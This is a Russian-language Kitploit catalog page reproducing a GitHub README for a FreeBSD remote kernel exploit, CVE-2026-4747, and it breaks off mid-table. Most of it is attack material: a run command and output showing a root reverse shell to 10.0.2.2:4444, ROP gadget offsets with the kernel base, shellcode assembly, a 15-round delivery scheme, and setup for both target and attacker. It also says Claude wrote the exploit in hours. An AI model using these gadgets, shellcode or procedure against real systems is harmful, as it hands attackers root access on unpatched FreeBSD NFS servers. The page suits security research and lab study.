Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/kaleth4/cve-2026-4747-
Фреймворки для эксплойтовАнализ уязвимостейЭксплуатацияОбратная инженерияРазработка Полезной НагрузкиЭксплуатация Бинарных Файлов
GitHubkaleth4/cve-2026-4747-

CVE-2026-4747-

Удалённый эксплойт ядра для FreeBSD CVE-2026-4747, использующий переполнение буфера в стеке в kgssapi.ko для достижения RCE с обратной оболочкой. Включает многоэтапную доставку ROP и подробные инструкции по настройке.

Репозиторий
14 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-4747: FreeBSD Remote Kernel RCE

Первый удаленный эксплойт ядра, который был и обнаружен, и использован ИИ


📋 Краткая сводка

АспектДеталь
CVECVE-2026-4747
УязвимостьПереполнение буфера в стеке в kgssapi.ko (RPCSEC_GSS)
ВоздействиеУдаленное выполнение кода в ядре → reverse shell с uid 0
Затронутые версииFreeBSD 13.5, 14.3, 14.4, 15.0 (версии без патча)
ОбнаруженоНиколас Карлини с помощью Claude (Anthropic)
Дата Advisory2026-03-26
Время эксплуатации~8 часов (4 часа реальной работы Claude)

🎯 Хронология

  • 2026-03-26: FreeBSD публикует advisory CVE-2026-4747
  • 9:45 AM PDT 2026-03-29: Claude получает запрос на разработку эксплойта
  • 5:00 PM PDT 2026-03-29: Claude предоставляет рабочий эксплойт с reverse shell uid 0

🚀 Живая демонстрация

root@kitploit:~
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444

Вывод:

root@kitploit:~
==============================================================
  CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
  Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================

  Target:   127.0.0.1:2049
  Callback: 10.0.2.2:4444
  SPN:      nfs/[email protected]

  Shellcode: 432 bytes (54 qwords)
  Delivery:  15 rounds (1 pmap + 14 write)

  [R1/15]  pmap_change_prot(BSS, 0x2000, RWX) ✓
  [R2/15]  write (4 qwords → 0xffffffff8198a800) ✓
  [R3/15]  write (4 qwords → 0xffffffff8198a820) ✓
  ...
  [R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓

  [*] Shellcode delivered and executing
  [*] kproc_create → kern_execve('/bin/sh -c ...')
  [*] Reverse shell → 10.0.2.2:4444

  [+] Connection from 127.0.0.1:41320
  [+] Got shell!

sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)

🔍 Что сделал Claude?

Claude решил 6 различных технических проблем, чтобы перейти от advisory к рабочему reverse shell:

1️⃣ Настройка лаборатории

  • VM FreeBSD 14.4-RELEASE с NFS + Kerberos
  • Критическое требование: 2+ CPU (эксплойт убивает 1 NFS-поток за раунд, нужно 15 раундов)
  • Удаленная отладка для чтения дампов ядра

2️⃣ Многопакетная доставка

  • Shellcode размером 432 байта не помещается в 1 пакет (лимит XDR: 400 байт)
  • Решение: 15 раундов переполнения
    • Раунд 1: pmap_change_prot() → BSS становится исполняемым
    • Раунды 2-14: Запись shellcode по 32 байта за раунд
    • Раунд 15: Последние 16 байт + переход на shellcode

3️⃣ Чистый выход из потоков

  • Каждое переполнение перехватывает NFS worker-поток
  • Использует kthread_exit() для чистого завершения (без kernel panic)
  • NFS-сервер остается живым для следующего раунда

4️⃣ Отладка смещений (паттерн Де Брейна)

  • Первоначальный дизассемблер показывал RIP на байте 168 → НЕВЕРНО
  • Claude отправил циклический паттерн Де Брейна
  • Прочитал дамп ядра → реальное смещение: байт 200
  • Разница в 32 байта: заголовок GSS + обработка контекста

5️⃣ Переход из ядра в userland

  • NFS-потоки — это чистые kernel threads (без vmspace, без trapframe)
  • Решение в две фазы:
    • Фаза 1: kproc_create() → новый процесс с user-mode инфраструктурой
    • Фаза 2: kern_execve("/bin/sh") → загрузка ELF, настройка trapframe, снятие флага P_KPROC
    • Результат: /bin/sh выполняется в ring 3 как uid 0

6️⃣ Загадка debug registers (DR7/DDB)

  • Worker падал с trap 1 (debug exception) на валидной инструкции
  • Причина: kproc_create() наследует debug registers от родителя
  • Предыдущие паники активировали DDB → постоянные аппаратные брейкпоинты
  • Исправление: очистка DR7 перед kproc_create()

🏗️ Техническая архитектура

Раскладка стека (проверено с помощью Де Брейна)

root@kitploit:~
Credential body byte → Stack target
[0..35]              → GSS header (version, proc, seq, svc, handle)
[36..151]            → Padding (rpchdr remainder + local vars)
[152..199]           → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207]           → RETURN ADDRESS ← Первый ROP-гаджет
[208..399]           → ROP chain (192 bytes = 24 qwords)

ROP-гаджеты (FreeBSD 14.4-RELEASE)

ГаджетАдресНазначение
pop rdi; retK+0x1adcdaАргумент 1 (rdi)
pop rsi; retK+0x1cdf98Аргумент 2 (rsi)
pop rdx; retK+0x5fa429Аргумент 3 (rdx)
pop rax; retK+0x400cb4Значение для записи
mov [rdi], rax; ret0xffffffff80e3457cПроизвольная запись 8 байт

Где K = 0xffffffff80200000 (база ядра, без KASLR в FreeBSD 14.x)

Shellcode (432 байта)

Фаза 1 — Entry (перехваченный NFS-поток):

root@kitploit:~
mov rax, 0xffffffff8198bf00    ; Переключение стека на BSS
mov rsp, rax
xor eax, eax
mov dr7, rax                    ; Очистка аппаратных брейкпоинтов
call rbx                        ; kproc_create (предзагружен в RBX)
mov rax, kthread_exit
call rax                        ; Чистое завершение потока

Фаза 2 — Worker (новый процесс ядра):

root@kitploit:~
; Настройка аргументов для kern_execve
lea rdi, [rbp - 0x80]          ; &image_args
mov rsi, "/bin/sh"
mov edx, 1                      ; UIO_SYSSPACE
call exec_args_add_fname

; Добавление "-c" и команды reverse shell
; ...

; Выполнение /bin/sh
mov rdi, gs:[0]                 ; curthread
mov rax, [rdi + 0x08]           ; proc
call kern_execve

; Снятие флага P_KPROC
and byte [rax + 0xb8], 0xfb    ; Разрешение перехода в userland
ret                             ; → fork_exit → userret → iretq → ring 3

🛠️ Настройка цели

Вариант A: QEMU (автоматизировано с cloud-init)

root@kitploit:~
# Скачивание образа
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G

# Конфигурация cloud-init
cat > user-data << 'EOF'
#cloud-config
chpasswd:
  list: |
    root:freebsd
  expire: False
runcmd:
  - kldload kgssapi
  - sysrc rpcbind_enable=YES nfs_server_enable=YES
  - service rpcbind start && service nfsd start
EOF

# Загрузка с пробросом портов
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
  -drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
  -netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
  -device virtio-net-pci,netdev=net0 -nographic

Вариант B: VMware / VirtualBox / bhyve (вручную)

Требования:

  • 2+ CPU (критично: 8 NFS-потоков/CPU, эксплойту нужно 15 раундов)
  • 2GB RAM, 8GB диск
  • FreeBSD 14.4-RELEASE

Настройка в VM:

root@kitploit:~
# 1. Установка Kerberos
pkg install -y krb5

# 2. Создание KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
    default_realm = TEST.LOCAL
[realms]
    TEST.LOCAL = {
        kdc = 127.0.0.1
        admin_server = 127.0.0.1
    }
EOF

# 3. Инициализация базы данных KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL

# 4. Создание principals (замените "test" на ваш hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"

# 5. Запуск KDC
/usr/local/sbin/krb5kdc

# 6. Настройка NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports

# 7. Включение служб
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start

# 8. Проверка
sysctl vfs.nfsd.threads        # Должно показывать 16 (с 2 CPU)
sockstat -l | grep 2049        # Должно показывать tcp4/tcp6

Настройка на хосте атакующего (Linux)

root@kitploit:~
# 1. Установка пакетов
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi

# 2. Настройка /etc/krb5.conf
sudo tee /etc/krb5.conf << EOF
[libdefaults]
    default_realm = TEST.LOCAL
    rdns = false                       # КРИТИЧНО: предотвращает DNS-канонизацию
    dns_canonicalize_hostname = false
[realms]
    TEST.LOCAL = {
        kdc = VM_IP:KDC_PORT           # 127.0.0.1:8888 (QEMU) или 192.168.x.x:88 (bridged)
    }
EOF

# 3. Добавление hostname в /etc/hosts
echo "VM_IP test" | sudo tee -a /etc/hosts

# 4. Получение билета Kerberos
echo "password" | kinit [email protected]
klist

# 5. (Опционально) Установка ROPgadget для поиска новых гаджетов
pip install ROPgadget

🎪 Стратегия эксплуатации

Раунд 1: Делаем BSS исполняемым

root@kitploit:~
ROP chain:
  pop rdi          → rdi = 0xffffffff8198a000 (BSS page)
  pop rsi          → rsi = 0x2000 (2 страницы = 8KB)
  pop rdx          → rdx = 7 (VM_PROT_ALL = RWX)
  pmap_change_prot → изменение прав на RWX
  pop rdi          → rdi = 0
  kthread_exit     → чистое завершение потока

Раунды 2–14: Запись shellcode

Каждый раунд записывает 32 байта (4 qwords) в BSS:

root@kitploit:~
Шаблон ROP chain:
  pop rdi          → rdi = BSS_SC + offset
  pop rax          → rax = shellcode_qword
  mov [rdi], rax   → запись 8 байт
  (повторить еще 3 раза)
  pop rdi          → 0
  kthread_exit     → завершение

Стоимость: 40 байт ROP/8 байт записи → всего 15 раундов

Раунд 15: Переход на shellcode

root@kitploit:~
ROP chain:
  pop rdi          → rdi = BSS_SC + 416
  pop rax          → rax = последний qword
  mov [rdi], rax   → запись
  (повторить)
  BSS_SC           → ПЕРЕХОД НА SHELLCODE!

🐛 Решенные проблемы

ПроблемаПричинаРешение
Неверное смещение RIPСтатический дизассемблер не учитывал заголовок GSSПаттерн Де Брейна + чтение дампа ядра
Несовместимость MIT/HeimdalDNS-канонизация hostnamerdns = false + dns_canonicalize_hostname = false
Trap 1 в workerDebug registers, унаследованные от DDBОчистка DR7 перед kproc_create()
Shellcode не помещается432 байта > 400 байт (лимит XDR)Доставка в
Скачать инструмент